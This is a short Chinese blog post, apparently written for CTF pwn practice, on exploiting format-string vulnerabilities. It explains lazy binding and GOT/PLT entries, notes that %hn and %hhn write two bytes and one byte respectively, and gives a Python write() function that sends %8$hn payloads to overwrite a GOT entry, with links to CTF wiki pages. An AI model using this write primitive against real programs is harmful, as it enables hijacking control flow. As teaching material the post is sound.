美文网首页hacker
字符串格式化漏洞利用技巧

字符串格式化漏洞利用技巧

作者: jessica1123 | 来源:发表于2019-01-01 19:17 被阅读19次

在某个函数被调用之前,由于linux动态链接的时候采用的是延时绑定的机制
因此某个函数在被实际调用之前,它的got表存储的内容实际是plt的下一条指令,因而可以用gdb调试查看它的值。而字符串格式化漏洞就可以改变这个值,让函数跑到自己控制的跳转。

image.png
备注:hn可以修改双字节的内容,hhn修改单字节的内容

并且高地址对应的是高字节,即我们要修改got['printf']的时候,需要把printf+2

got['printf'] = 0x6012B8

修改成 0x60268B的时候,只需要让
got['printf'] = 0x268B
got['printf'] = 0x60

def write(addr,value):
    offset_list = [0,16,32]
    for index,offset in enumerate([0,16,32]):
        wait_to_write = (value >> offset) & 0xffff
        payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
        io.send(payload)
        time.sleep(0.2)
        io.clean()

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/
https://potatso.xyz/2018/04/07/pwn%E4%B9%8Bret2_dl_resolve/
https://vang3lis.github.io/2018/09/30/ret2_dl_runtime_resolve/

相关文章

  • 攻防世界 string wp

    参考:CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。 查...

  • 2 安全编译

    格式化漏洞利用

  • 5 格式化漏洞利用

    格式化漏洞利用

  • 字符串格式化漏洞利用技巧

    在某个函数被调用之前,由于linux动态链接的时候采用的是延时绑定的机制因此某个函数在被实际调用之前,它的got表...

  • 格式化字符串漏洞实验(转载)

    格式化字符串漏洞实验一、 实验描述格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,...

  • buuctf pwn part1

    时隔已久的学习 ciscn_2019_n_1 格式化字符串漏洞 gets是漏洞点,可以利用v1去覆盖v2的值然后获...

  • XMAN结营赛总结

    once_time 这题主要利用了格式化字符串的漏洞,另外有canary的保护,需要用到栈溢出报错的函数具体的利用...

  • lab9

    格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势 很明显的格式化字符串,但同时也可以发现,我们的输...

  • 攻防世界 Mary_Morton wp (ASIS-CTF-Fi

    0x01漏洞 ida漏洞都给你放在那里了...一个栈溢出,一个格式化字符串可以利用存在sub_4008DA函数可以...

  • 格式化字符串漏洞利用

    printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族。通常来说,我们会使用printf([格...

网友评论

    本文标题:字符串格式化漏洞利用技巧

    本文链接:https://www.haomeiwen.com/subject/wwgklqtx.html